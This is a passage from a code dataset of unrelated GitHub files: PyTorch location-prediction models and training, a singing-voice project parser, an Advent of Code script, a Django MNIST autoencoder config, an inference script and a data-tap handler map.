weight_init, top_n_accuracy\n\n\ndef seq2seq_forward(encoder, decoder, lstm_input, valid_len, pre_len):\n his_len = valid_len - pre_len\n src_padded_embed = pack_padded_sequence(lstm_input, his_len, batch_first=True, enforce_sorted=False)\n _, hc = encoder(src_padded_embed)\n trg_embed = torch.stack([torch.cat([lstm_input[i, start - 1:start], lstm_input[i, -pre_len:-1]], dim=0)\n for i, start in enumerate(his_len)], dim=0)\n decoder_out, _ = decoder(trg_embed, hc) # (batch_size, pre_len, hidden_size)\n return decoder_out\n\n\nclass Seq2SeqLocPredictor(nn.Module, ABC):\n \"\"\"\n A next location predictor constructed of LSTM.\n \"\"\"\n def __init__(self, embed_layer, input_size, hidden_size, output_size, num_layers):\n super().__init__()\n self.__dict__.update(locals())\n\n self.encoder = nn.GRU(input_size, hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.decoder = nn.GRU(input_size, hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.out_linear = nn.Sequential(nn.Linear(hidden_size, hidden_size * 4), nn.LeakyReLU(),\n nn.Dropout(0.1), nn.Linear(hidden_size * 4, output_size))\n self.apply(weight_init)\n\n self.embed_layer = embed_layer\n self.add_module('embed_layer', self.embed_layer)\n\n def forward(self, full_seq, valid_len, pre_len, **kwargs):\n \"\"\"\n @param full_seq: combined historical and target sequence, shape (batch_size, seq_len).\n One row: [l_1, l_2, ..., l_h, 0, 0, 0, l_h+1, ..., l_h+n], where h is the valid length of history sequence,\n n is the length of prediction sequence.\n @param valid_len: an 1D tensor carrying the legit length of full sequence for every batch, shape (batch_size)\n @param pre_len: a scalar indicates the length of prediction.\n \"\"\"\n lstm_input = self.embed_layer(full_seq, downstream=True, pre_len=pre_len, **kwargs) # (batch_size, seq_len, input_size)\n decoder_out = seq2seq_forward(self.encoder, self.decoder, lstm_input, valid_len, pre_len)\n out = self.out_linear(decoder_out) # (batch_size, pre_len, output_size)\n return out\n\n\ndef rnn_forward(encoder, sos, lstm_input, valid_len, pre_len):\n batch_size = lstm_input.size(0)\n input_size = lstm_input.size(-1)\n history_len = valid_len - pre_len\n max_len = history_len.max()\n\n lstm_input = torch.cat([sos.reshape(1, 1, -1).repeat(batch_size, 1, 1), lstm_input], dim=1) # (batch, seq_len+1, 1+input_size)\n lstm_input = torch.stack([torch.cat([lstm_input[i, :s + 1], lstm_input[i, -pre_len:-1],\n torch.zeros(max_len - s, input_size).float().to(lstm_input.device)], dim=0)\n for i, s in enumerate(history_len)], dim=0)\n lstm_out, _ = encoder(lstm_input)\n lstm_out_pre = torch.stack([lstm_out[i, s - pre_len:s] for i, s in enumerate(valid_len)]) # (batch, pre_len, lstm_hidden_size)\n return lstm_out_pre\n\n\nclass ErppLocPredictor(nn.Module, ABC):\n def __init__(self, embed_layer, input_size, lstm_hidden_size, fc_hidden_size, output_size, num_layers, seq2seq=True):\n super().__init__()\n self.__dict__.update(locals())\n\n self.encoder = nn.LSTM(input_size+1, lstm_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.decoder = nn.LSTM(input_size+1, lstm_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.mlp = nn.Sequential(nn.Tanh(), nn.Linear(lstm_hidden_size, fc_hidden_size), nn.Tanh())\n self.event_linear = nn.Linear(fc_hidden_size, output_size)\n self.time_linear = nn.Linear(fc_hidden_size, 1)\n self.sos = nn.Parameter(torch.zeros(input_size+1).float(), requires_grad=True)\n\n self.apply(weight_init)\n self.embed_layer = embed_layer\n self.add_module('embed_layer', self.embed_layer)\n\n def forward(self, full_seq, valid_len, pre_len, **kwargs):\n \"\"\"\n :param full_seq: combined historical and target sequence, shape (batch_size, seq_len).\n One row: [l_1, l_2, ..., l_h, 0, 0, 0, l_h+1, ..., l_h+n], where h is the valid length of history sequence,\n n is the length of prediction sequence.\n :param valid_len:\n :param pre_len:\n :param kwargs:\n :return:\n \"\"\"\n event_embedding = self.embed_layer(full_seq, downstream=True, pre_len=pre_len, **kwargs)\n timestamp = kwargs['timestamp']\n hours = timestamp % (24 * 60 * 60) / 60 / 60 / 24 # (batch, seq_len)\n\n lstm_input = torch.cat([event_embedding, hours.unsqueeze(-1)], dim=-1)\n if self.seq2seq:\n lstm_out_pre = seq2seq_forward(self.encoder, self.decoder, lstm_input, valid_len, pre_len)\n else:\n lstm_out_pre = rnn_forward(self.encoder, self.sos, lstm_input, valid_len, pre_len)\n\n mlp_out = self.mlp(lstm_out_pre)\n event_out = self.event_linear(mlp_out)\n return event_out # (batch_size, pre_len, num_loc)\n\n\nclass StlstmLocPredictor(nn.Module, ABC):\n def __init__(self, embed_layer, num_slots, aux_embed_size, time_thres, dist_thres,\n input_size, lstm_hidden_size, fc_hidden_size, output_size, num_layers, seq2seq=True):\n super().__init__()\n self.__dict__.update(locals())\n\n self.time_embed = nn.Embedding(num_slots+1, aux_embed_size)\n self.dist_embed = nn.Embedding(num_slots+1, aux_embed_size)\n\n self.encoder = nn.LSTM(input_size + 2 * aux_embed_size, lstm_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.decoder = nn.LSTM(input_size + 2 * aux_embed_size, lstm_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.out_linear = nn.Sequential(nn.Tanh(), nn.Linear(lstm_hidden_size, fc_hidden_size),\n nn.Tanh(), nn.Linear(fc_hidden_size, output_size))\n self.sos = nn.Parameter(torch.zeros(input_size + 2 * aux_embed_size).float(), requires_grad=True)\n self.aux_sos = nn.Parameter(torch.zeros(aux_embed_size * 2).float(), requires_grad=True)\n self.apply(weight_init)\n\n self.embed_layer = embed_layer\n self.add_module('embed_layer', self.embed_layer)\n\n def forward(self, full_seq, valid_len, pre_len, **kwargs):\n batch_size = full_seq.size(0)\n # his_len = valid_len - pre_len\n\n time_delta = kwargs['time_delta'][:, 1:]\n dist = kwargs['dist'][:, 1:]\n\n time_slot_i = torch.floor(torch.clamp(time_delta, 0, self.time_thres) / self.time_thres * self.num_slots).long()\n dist_slot_i = torch.floor(torch.clamp(dist, 0, self.dist_thres) / self.dist_thres * self.num_slots).long() # (batch, seq_len-1)\n aux_input = torch.cat([self.aux_sos.reshape(1, 1, -1).repeat(batch_size, 1, 1),\n torch.cat([self.time_embed(time_slot_i),\n self.dist_embed(dist_slot_i)], dim=-1)], dim=1) # (batch, seq_len, aux_embed_size*2)\n\n full_embed = self.embed_layer(full_seq, downstream=True, pre_len=pre_len, **kwargs) # (batch_size, seq_len, input_size)\n lstm_input = torch.cat([full_embed, aux_input], dim=-1) # (batch_size, seq_len, input_size + aux_embed_size * 2)\n\n if self.seq2seq:\n lstm_out_pre = seq2seq_forward(self.encoder, self.decoder, lstm_input, valid_len, pre_len)\n else:\n lstm_out_pre = rnn_forward(self.encoder, self.sos, lstm_input, valid_len, pre_len)\n\n out = self.out_linear(lstm_out_pre)\n return out\n\n\nclass STRNNCell(nn.Module):\n def __init__(self, input_size, hidden_size, num_slots, inter_size):\n super().__init__()\n self.__dict__.update(locals())\n\n self.time_weights = nn.Parameter(torch.zeros(num_slots+1, input_size, inter_size), requires_grad=True)\n self.dist_weights = nn.Parameter(torch.zeros(num_slots+1, inter_size, hidden_size), requires_grad=True)\n self.hidden_weights = nn.Parameter(torch.zeros(hidden_size, hidden_size), requires_grad=True)\n nn.init.xavier_normal_(self.time_weights.data)\n nn.init.xavier_normal_(self.dist_weights.data)\n nn.init.xavier_normal_(self.hidden_weights.data)\n\n def forward(self, x_context, time_context, dist_context, context_mask, h):\n \"\"\"\n :param x_context: input context of this step, shape (batch, context_size, input_size)\n :param time_context: time indices corresponding to the context, shape (batch, context_size)\n :param dist_context: distance indices corresponding to the context, shape (batch, context_size)\n :param context_mask: context mask, value with True is a valid place for context fetching, shape (batch, context_size)\n :param h: hidden state from previous step, shape (batch, hidden_size)\n :return: hidden state of this step, shape (batch, hidden_size)\n \"\"\"\n time_weight = self.time_weights[time_context, :, :] # (batch, context_size, input_size, inter_size)\n dist_weight = self.dist_weights[dist_context, :, :] # (batch, context_size, inter_size, hidden_size)\n x_candidate = torch.matmul(x_context.unsqueeze(-2), torch.matmul(time_weight, dist_weight)).squeeze(-2) # (batch, context_size, hidden_size)\n x_candidate = x_candidate.masked_fill(context_mask.unsqueeze(-1) == False, 0.0).sum(1) # (batch, hidden_size)\n h_candidate = torch.matmul(h.unsqueeze(-2), self.hidden_weights).squeeze(1)\n return torch.sigmoid(x_candidate + h_candidate)\n\n\nclass STRNN(nn.Module):\n def __init__(self, input_size, hidden_size, inter_size, num_slots):\n super().__init__()\n self.__dict__.update(locals())\n\n self.strnn_cell = STRNNCell(input_size, hidden_size, num_slots, inter_size)\n\n def forward(self, x_contexts, time_contexts, dist_contexts, context_masks):\n \"\"\"\n :param x_contexts: input contexts of each step, shape (batch, seq_len, input_size)\n :param time_contexts:\n :param dist_contexts:\n :param valid_sizes: shape (batch, seq_len)\n :param h:\n :return: output sequence, shape (batch_size, seq_len, hidden_size) and hidden state of last step, shape (1, hidden_size)\n \"\"\"\n batch_size = x_contexts.size(0)\n seq_len = x_contexts.size(1)\n\n hidden_state = torch.zeros(batch_size, self.hidden_size).to(x_contexts.device)\n output = []\n for i in range(seq_len):\n x_content = x_contexts[:, :i+1] # (batch_size, context_size, input_size)\n time_context = time_contexts[:, i, :i+1]\n dist_context = dist_contexts[:, i, :i+1]\n context_mask = context_masks[:, i, :i+1] # (batch_size, context_size)\n hidden_state = self.strnn_cell(x_content, time_context, dist_context, context_mask, hidden_state)\n output.append(hidden_state)\n return torch.stack(output, dim=1), hidden_state.unsqueeze(0)\n\n\nclass StrnnLocPredictor(nn.Module):\n def __init__(self, embed_layer, num_slots, time_window, dist_window,\n input_size, hidden_size, inter_size, output_size):\n super().__init__()\n self.__dict__.update(locals())\n\n self.encoder = STRNN(input_size, hidden_size, inter_size, num_slots)\n self.decoder = STRNN(input_size, hidden_size, inter_size, num_slots)\n self.out_linear = nn.Sequential(nn.Dropout(0.1), nn.Linear(hidden_size, hidden_size * 4),\n nn.Tanh(), nn.Linear(hidden_size * 4, output_size))\n self.apply(weight_init)\n\n self.embed_layer = embed_layer\n self.add_module('embed_layer', self.embed_layer)\n\n def forward(self, full_seq, valid_len, pre_len, **kwargs):\n batch_size = full_seq.size(0)\n history_len = valid_len - pre_len\n max_len = history_len.max()\n\n # Generate input sequence.\n full_embed = self.embed_layer(full_seq, downstream=True, pre_len=pre_len, **kwargs) # (batch, seq_len, embed_size)\n timestamp = kwargs['timestamp'] # (batch, seq_len)\n lat, lng = kwargs['lat'], kwargs['lng'] # (batch, seq_len)\n cat_input = torch.cat([full_embed, timestamp.unsqueeze(-1),\n lat.unsqueeze(-1), lng.unsqueeze(-1)], dim=-1) # (batch, seq_len, input_size + 3)\n # After this process, the gap between input sequences will be filled.\n sequential_input = torch.stack([torch.cat([cat_input[i, :s], cat_input[i, -pre_len:],\n torch.zeros(max_len - s, self.input_size + 3).float().to(full_seq.device)], dim=0)\n for i, s in enumerate(history_len)], dim=0) # (batch, seq_len, input_size + 3)\n seq_len = sequential_input.size(1)\n\n # Calculate a context mask from a given time window.\n seq_timestamp = sequential_input[:, :, -3] # (batch, seq_len)\n time_delta = seq_timestamp.unsqueeze(-1) - seq_timestamp.unsqueeze(1)\n context_mask = (time_delta <= self.time_window) * \\\n (time_delta >= 0) * \\\n (valid_len.unsqueeze(-1) > torch.arange(seq_len).to(full_seq.device).unsqueeze(0).repeat(batch_size, 1)).unsqueeze(1) # (batch, seq_len, seq_len)\n\n # Calculate distances between locations in the trajectory.\n seq_latlng = sequential_input[:, :, -2:] # (batch, seq_len, 2)\n # (batch, seq_len, 1, 2) - # (batch, 1, seq_len, 2) -> # (batch, seq_len, seq_len, 2)\n dist = (seq_latlng.unsqueeze(2) - seq_latlng.unsqueeze(1)) ** 2\n dist = torch.sqrt(dist.sum(-1)) # (batch, seq_len, seq_len)\n\n rnn_out, _ = self.encoder(sequential_input[:, :, :-3],\n torch.floor(torch.clamp(time_delta, 0, self.time_window) /\n self.time_window * self.num_slots).long(),\n torch.floor(torch.clamp(dist, 0, self.dist_window) /\n self.dist_window * self.num_slots).long(),\n context_mask)\n rnn_out_pre = torch.stack([rnn_out[i, s - pre_len-1:s-1] for i, s in enumerate(valid_len)]) # (batch, pre_len, lstm_hidden_size)\n out = self.out_linear(rnn_out_pre)\n return out\n\n\nclass RnnLocPredictor(nn.Module, ABC):\n def __init__(self, embed_layer, input_size, rnn_hidden_size, fc_hidden_size, output_size, num_layers, seq2seq=True):\n super().__init__()\n self.__dict__.update(locals())\n\n self.encoder = nn.RNN(input_size, rnn_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.decoder = nn.RNN(input_size, rnn_hidden_size, num_layers, dropout=0.1, batch_first=True)\n self.out_linear = nn.Sequential(nn.Tanh(), nn.Linear(rnn_hidden_size, fc_hidden_size),\n nn.LeakyReLU(), nn.Linear(fc_hidden_size, output_size))\n self.sos = nn.Parameter(torch.zeros(input_size).float(), requires_grad=True)\n self.apply(weight_init)\n\n self.embed_layer = embed_layer\n self.add_module('embed_layer', self.embed_layer)\n\n def forward(self, full_seq, valid_len, pre_len, **kwargs):\n full_embed = self.embed_layer(full_seq, downstream=True, pre_len=pre_len, **kwargs)\n if self.seq2seq:\n rnn_out_pre = seq2seq_forward(self.encoder, self.decoder, full_embed, valid_len, pre_len)\n else:\n rnn_out_pre = rnn_forward(self.encoder, self.sos, full_embed, valid_len, pre_len)\n out = self.out_linear(rnn_out_pre)\n return out\n\n\ndef loc_prediction(dataset, pre_model, pre_len, num_epoch, batch_size, device):\n pre_model = pre_model.to(device)\n optimizer = torch.optim.Adam(pre_model.parameters(), lr=1e-4)\n loss_func = nn.CrossEntropyLoss()\n\n train_set = dataset.gen_sequence(min_len=pre_len+1, select_days=0, include_delta=True)\n test_set = dataset.gen_sequence(min_len=pre_len+1, select_days=2, include_delta=True)\n\n def pre_func(batch):\n def _create_src_trg(origin, fill_value):\n src, trg = create_src_trg(origin, pre_len, fill_value)\n full = np.concatenate([src, trg], axis=-1)\n return torch.from_numpy(full).float().to(device)\n user_index, full_seq, weekday, timestamp, length, time_delta, dist, lat, lng = zip(*batch)\n user_index, length = (torch.tensor(item).long().to(device) for item in (user_index, length))\n\n src_seq, trg_seq = create_src_trg(full_seq, pre_len, fill_value=dataset.num_loc)\n src_seq, trg_seq = (torch.from_numpy(item).long().to(device) for item in [src_seq, trg_seq])\n full_seq = torch.cat([src_seq, trg_seq], dim=-1)\n\n full_t = _create_src_trg(timestamp, 0)\n full_time_delta = _create_src_trg(time_delta, 0)\n full_dist = _create_src_trg(dist, 0)\n full_lat = _create_src_trg(lat, 0)\n full_lng = _create_src_trg(lng, 0)\n\n out = pre_model(full_seq, length, pre_len, user_index=user_index, timestamp=full_t,\n time_delta=full_time_delta, dist=full_dist, lat=full_lat, lng=full_lng)\n out = out.reshape(-1, pre_model.output_size)\n label = trg_seq.reshape(-1)\n return out, label\n\n score_log = []\n test_point = int(len(train_set) / batch_size / 2)\n for epoch in range(num_epoch):\n for i, batch in enumerate(next_batch(shuffle(train_set), batch_size)):\n out, label = pre_func(batch)\n loss = loss_func(out, label)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i+1) % test_point == 0:\n pres_raw, labels = [], []\n for test_batch in next_batch(test_set, batch_size * 4):\n test_out, test_label = pre_func(test_batch)\n pres_raw.append(test_out.detach().cpu().numpy())\n labels.append(test_label.detach().cpu().numpy())\n pres_raw, labels = np.concatenate(pres_raw), np.concatenate(labels)\n pres = pres_raw.argmax(-1)\n\n acc, recall = accuracy_score(labels, pres), recall_score(labels, pres, average='macro')\n f1_micro, f1_macro = f1_score(labels, pres, average='micro'), f1_score(labels, pres, average='macro')\n score_log.append([acc, recall, f1_micro, f1_macro])\n nni.report_intermediate_result(acc)\n\n best_acc, best_recall, best_f1_micro, best_f1_macro = np.max(score_log, axis=0)\n print('Acc %.6f, Recall %.6f' % (best_acc, best_recall))\n print('F1-micro %.6f, F1-macro %.6f' % (best_f1_micro, best_f1_macro))\n nni.report_final_result(best_acc)\n\n\nclass MCLocPredictor:\n def __init__(self, num_loc):\n self.transfer_mat = np.zeros((num_loc, num_loc))\n\n def fit(self, sequences):\n \"\"\"\n @param sequences: sequences for training.\n \"\"\"\n for sequence in sequences:\n for s, e in zip(sequence[:-1], sequence[1:]):\n self.transfer_mat[s, e] += 1\n\n def predict(self, src_seq, pre_len):\n pre_seq = []\n s = src_seq[-pre_len-1]\n for i in range(pre_len):\n pre = np.argmax(self.transfer_mat[s])\n pre_seq.append(pre)\n s = pre\n return pre_seq\n\n\ndef mc_next_loc_prediction(dataset, pre_model, pre_len):\n train_seq = list(zip(*dataset.gen_sequence(min_len=pre_len+1, select_days=0)))[1]\n test_seq = list(zip(*dataset.gen_sequence(min_len=pre_len+1, select_days=2)))[1]\n pre_model.fit(train_seq)\n\n pres, labels = [], []\n for test_row in test_seq:\n pre_row = pre_model.predict(test_row, pre_len)\n pres.append(pre_row)\n labels.append(test_row[-pre_len:])\n pres, labels = np.array(pres).reshape(-1), np.array(labels).reshape(-1)\n acc, recall = accuracy_score(labels, pres), recall_score(labels, pres, average='micro')\n precision, f1 = precision_score(labels, pres, average='micro'), f1_score(labels, pres, average='micro')\n print('Acc %.6f, Recall %.6f' % (acc, recall))\n print('Pre %.6f, f1 %.6f' % (precision, f1))\n","repo_name":"Logan-Lin/CTLE","sub_path":"downstream/loc_pre.py","file_name":"loc_pre.py","file_ext":"py","file_size_in_byte":20451,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"28908212956","text":"import dataclasses\n\nimport pypinyin\n\nfrom libresvip.model.base import (\n Note,\n Params,\n Point,\n Project,\n SingingTrack,\n SongTempo,\n TimeSignature,\n)\n\nfrom .model import NNInfoLine, NNNote, NNProject, NNTimeSignature\nfrom .options import InputOptions\n\n\n@dataclasses.dataclass\nclass NiaoNiaoParser:\n options: InputOptions\n length_multiplier: int = dataclasses.field(init=False)\n\n def parse_project(self, nn_project: NNProject) -> Project:\n if nn_project.info_line.version == 19:\n self.length_multiplier = 60\n else:\n self.length_multiplier = 30\n project = Project(\n song_tempo_list=self.parse_tempos(nn_project.info_line),\n time_signature_list=self.parse_time_signatures(\n nn_project.info_line.time_signature\n ),\n track_list=self.parse_tracks(nn_project.notes),\n )\n return project\n\n def parse_tempos(self, info_line: NNInfoLine) -> list[SongTempo]:\n return [SongTempo(bpm=info_line.tempo, position=0)]\n\n def parse_time_signatures(\n self, time_signature: NNTimeSignature\n ) -> list[TimeSignature]:\n return [\n TimeSignature(\n numerator=time_signature.numerator,\n denominator=time_signature.denominator,\n )\n ]\n\n def parse_tracks(self, notes: list[NNNote]) -> list[SingingTrack]:\n return [\n SingingTrack(\n note_list=self.parse_notes(notes),\n edited_params=self.parse_params(notes),\n )\n ]\n\n def parse_notes(self, notes: list[NNNote]) -> list[Note]:\n note_list = []\n for nn_note in notes:\n note = Note(\n lyric=nn_note.lyric,\n start_pos=nn_note.start * self.length_multiplier,\n length=nn_note.duration * self.length_multiplier,\n key_number=88 - nn_note.key,\n )\n phonemes = pypinyin.pinyin(\n nn_note.lyric, heteronym=True, style=pypinyin.STYLE_NORMAL\n )\n if len(phonemes[0]) > 1 or phonemes[0][0] != nn_note.pronunciation:\n note.pronunciation = nn_note.pronunciation\n note_list.append(note)\n return note_list\n\n def parse_params(self, notes: list[NNNote]) -> Params:\n params = Params()\n for nn_note in notes:\n if nn_note.pitch.point_count > 0 and any(\n point != 50 for point in nn_note.pitch.points\n ):\n step = (\n nn_note.duration\n * self.length_multiplier\n / (nn_note.pitch.point_count - 1)\n )\n pbs = nn_note.pitch_bend_sensitivity + 1\n params.pitch.points.append(\n Point(nn_note.start * self.length_multiplier - 5 + 1920, -100)\n )\n for i in range(nn_note.pitch.point_count):\n params.pitch.points.append(\n Point(\n round(nn_note.start * self.length_multiplier + i * step)\n + 1920,\n round(\n (\n (nn_note.pitch.points[i] - 50) / 50 * pbs\n + 88\n - nn_note.key\n )\n * 100\n ),\n )\n )\n params.pitch.points.append(\n Point(\n (nn_note.start + nn_note.duration) * self.length_multiplier\n + 5\n + 1920,\n -100,\n )\n )\n # TODO: volume\n return params\n","repo_name":"SoulMelody/LibreSVIP","sub_path":"libresvip/plugins/nn/niaoniao_parser.py","file_name":"niaoniao_parser.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"73293001473","text":"#!/usr/bin/env python\nimport re\n\ndef parse_data(path):\n bags = {} # maps bag style to list of two-tuples of the style and count of bags they contain\n\n child_re = re.compile(r'^ ([^ ])+ ([a-z0-9 ]+) bag.*$')\n\n with open(path, 'r') as fd:\n for line in fd:\n line = line.strip()\n parent, children = line.split(\"bags contain\")\n parent = parent.strip()\n bags.setdefault(parent, []) \n\n for child in children.split(','):\n if child == \" no other bags.\":\n continue\n\n m = child_re.match(child)\n style = m.group(2)\n count = int(m.group(1))\n bags[parent].append((style, count))\n\n return bags\n\ndef count_contains(bags, style):\n \"\"\"Returns the number of bags inside this bag style\"\"\"\n if not bags[style]:\n return 0\n\n return sum([t[1] + t[1] * count_contains(bags, t[0]) for t in bags[style]])\n\n\nbags = parse_data('07-handy-haversacks.txt')\nfrom pprint import pprint\npprint(bags)\nnum = count_contains(bags, \"shiny gold\")\nprint(num)\n\n\n\n\n","repo_name":"darlenew/adventofcode","sub_path":"07-handy-haversacks-b.py","file_name":"07-handy-haversacks-b.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12722948328","text":"from django.apps import AppConfig\nimport tensorflow as tf\nfrom django.contrib.staticfiles import finders\n\n\nfrom mlxtend.data import loadlocal_mnist\nimport random\nimport numpy as np\n\n\n\n\n\ntry:\n test_images_filepath = 'images/digitimg.idx3-ubyte'\n \n test_labels_filepath = 'images/digitlab.idx1-ubyte'\n \n test_images_filepath2 = 'images/t10k-images-idx3-ubyte'\n \n test_labels_filepath2 = 'images/t10k-labels-idx1-ubyte'\n \n \n x_test3,y_test3 = loadlocal_mnist(test_images_filepath, test_labels_filepath)\n \n x_test4,y_test4 = loadlocal_mnist(test_images_filepath2, test_labels_filepath2)\n \nexcept:\n print(\">>>>>> Err in 1\")\n test_images_filepath = str(finders.find('images/digitimg.idx3-ubyte'))\n test_labels_filepath = str(finders.find('images/digitlab.idx1-ubyte'))\n test_images_filepath2 = str(finders.find('images/t10k-images-idx3-ubyte'))\n test_labels_filepath2 = str(finders.find('images/t10k-labels-idx1-ubyte'))\n x_test3,y_test3 = loadlocal_mnist(test_images_filepath, test_labels_filepath)\n \n x_test4,y_test4 = loadlocal_mnist(test_images_filepath2, test_labels_filepath2)\n\n\n\n\n\nx_test3 = (x_test3/255.0)[:100]\nx_test3 = x_test3.reshape((len(x_test3),28,28))\ny_test3 = y_test3[:100]\n\n\nx_test4 = (x_test4/255.0)[:100]\nx_test4 = x_test4.reshape((len(x_test4),28,28))\ny_test4 = y_test4[:100]\n#print(\"Size 22: \",len(x_test4),len(y_test4),x_test4[0].shape,x_test4.shape)\nx_test = x_test3\ny_test = y_test3\n\nclass ApiConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'Api'\n\n\nclass AutoencoderConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'Api2'\n # print(\"Err1\")\n global x_test,y_test\n # x_test,y_test= tf.keras.datasets.fashion_mnist.load_data()[0]\n # x_test = (x_test/255.0)[:1000]\n # y_test = y_test[:1000]\n \n \n \n #print(\"Err2\")\n name = 'Autoencoder'\n \n def loadModel(name,name2):\n p = str(finders.find('Models/{}'.format(name)))\n model = tf.keras.models.load_model(p)\n # print(\"PPP : \",p)\n path22 = str(finders.find('{}enco'.format(p)))#\"Api\\\\Models\\\\\"+name+\"enco\"\n # print(\"Nme : \",path22)\n #path22 = 'Api/Models/abcde'\n model_bottelneck = tf.keras.models.load_model(path22)\n #print(\"Nmae 2 : \",len(x_test))\n pred = model_bottelneck.predict(x_test)\n # print(\"><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>.Pred : \",pred.shape)\n \n if name2 == 'CNN':\n return [model,[pred[:,0,0,:],y_test],model_bottelneck]\n else:\n return [model,[pred,y_test],model_bottelneck]\n \n \n def get_img(opt,noice = 'False'):\n \n global x_test,y_test\n if opt == 'Digit':\n x_test = x_test3\n y_test = y_test3\n else:\n x_test = x_test4\n y_test = y_test4\n \n ind = random.randint(0,len(x_test)-1)\n\n if noice == 'False':\n return x_test[ind] \n else:\n noise_factor = 0.2\n\n \n #x_test = x_test + noise_factor * np.random.normal(loc = 0., scale = 1., size = x_test.shape)\n return x_test[ind] + noise_factor * np.random.normal(loc = 0., scale = 1., size = x_test[ind].shape)\n \n \n","repo_name":"Sudhanshu1304/Machine-Learns","sub_path":"MachineLearns/Api/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15876438078","text":"from .models import User\n\n\ndef update_user_placings():\n users = User.objects.filter(is_staff=False).order_by(\"-points\").all()\n\n for i, user in enumerate(users):\n user.placing = i+1\n\n User.objects.bulk_update(users, [\"placing\"], batch_size=20)\n","repo_name":"RoosDaniel/Fadderjobb","sub_path":"accounts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"44906148677","text":"import argparse\nimport os\n\nimport torch\nimport torch.nn.parallel\nimport torch.optim\nimport torch.utils.data\nimport torch.utils.data.distributed\n\nfrom lib.config import cfg\nfrom lib.data import build_data_loader\nfrom lib.engine.inference import inference\nfrom lib.models.model import build_model\nfrom lib.utils.checkpoint import Checkpointer\nfrom lib.utils.comm import get_rank, synchronize\nfrom lib.utils.directory import makedir\nfrom lib.utils.logger import setup_logger\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"PyTorch Image-Text Matching Inference\"\n )\n parser.add_argument(\n \"--config-file\",\n default=\"\",\n metavar=\"FILE\",\n help=\"path to config file\",\n type=str,\n )\n parser.add_argument(\n \"--checkpoint-file\",\n default=\"\",\n metavar=\"FILE\",\n help=\"path to checkpoint file\",\n type=str,\n )\n parser.add_argument(\n \"--local-rank\",\n default=0,\n type=int,\n )\n parser.add_argument(\n \"opts\",\n help=\"Modify config options using the command-line\",\n default=None,\n nargs=argparse.REMAINDER,\n )\n\n args = parser.parse_args()\n\n num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n distributed = num_gpus > 1\n\n if distributed:\n torch.cuda.set_device(args.local_rank)\n torch.distributed.init_process_group(backend=\"nccl\", init_method=\"env://\")\n synchronize()\n\n cfg.merge_from_file(args.config_file)\n cfg.merge_from_list(args.opts)\n cfg.freeze()\n\n model = build_model(cfg)\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model.to(device)\n\n output_dir = os.path.join(\"./output\", args.config_file[8:-5])\n checkpointer = Checkpointer(model, save_dir=output_dir)\n _ = checkpointer.load(args.checkpoint_file)\n\n output_folders = list()\n dataset_names = cfg.DATASETS.TEST\n for dataset_name in dataset_names:\n output_folder = os.path.join(output_dir, \"inference\", dataset_name)\n makedir(output_folder)\n output_folders.append(output_folder)\n\n data_loaders_val = build_data_loader(\n cfg, is_train=False, is_distributed=distributed\n )\n for data_loader_val, output_folder in zip(data_loaders_val, output_folders):\n logger = setup_logger(\"CompFashion\", output_folder, get_rank())\n logger.info(\"Using {} GPUs\".format(num_gpus))\n\n inference(\n model,\n data_loader_val,\n device=device,\n )\n synchronize()\n logger.handlers.pop()\n logger.handlers.pop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"BrandonHanx/CompFashion","sub_path":"test_net.py","file_name":"test_net.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"8886822849","text":"from tap_costcon.fetch import handle_generic, transform_job_details, transform_gl_lines\r\n\r\nID_FIELDS = {\r\n \"categories\": [\"id\"],\r\n \"contacts\": [\"contact_code\"],\r\n \"cost_transactions\": [\"ct_guid\"],\r\n \"creditor_transactions\": [\"ct_guid\"],\r\n \"debtor_transactions\": [\"ct_guid\"],\r\n \"debtor_transaction_lines\": [\"ct_guid\"],\r\n \"gl_codes\": [\"ct_guid\"],\r\n \"gl_lines\": [\"ct_guid\"],\r\n \"job_costs_inquiry\": [\"ct_guid\"],\r\n \"job_costs_summary_inquiry\": [\"id\"],\r\n \"job_details\": [\"job_number\"],\r\n \"job_subcontractors\": [\"ct_guid\"],\r\n \"subcategories\": [\"id\"],\r\n \"variation_orders\": [\"ct_guid\"],\r\n}\r\n\r\nHANDLERS = {\r\n \"categories\": handle_generic(\r\n id_function=lambda row: row[\"company_code\"] + \"_\" + row[\"code\"]\r\n ),\r\n \"contacts\": handle_generic(unique_key=\"contact_code\"),\r\n \"cost_transactions\": handle_generic(),\r\n \"creditor_transactions\": handle_generic(),\r\n \"debtor_transactions\": handle_generic(\r\n trim_columns=[\"transaction_description\"],\r\n # date_modified is mostly null, and rows can't be edited once posted\r\n ),\r\n \"debtor_transaction_lines\": handle_generic(trim_columns=[\"line_description\"]),\r\n \"gl_codes\": handle_generic(),\r\n \"gl_lines\": handle_generic(transform_fn=transform_gl_lines),\r\n \"job_costs_inquiry\": handle_generic(\r\n mappings={\r\n \"Job\": \"job_number\",\r\n 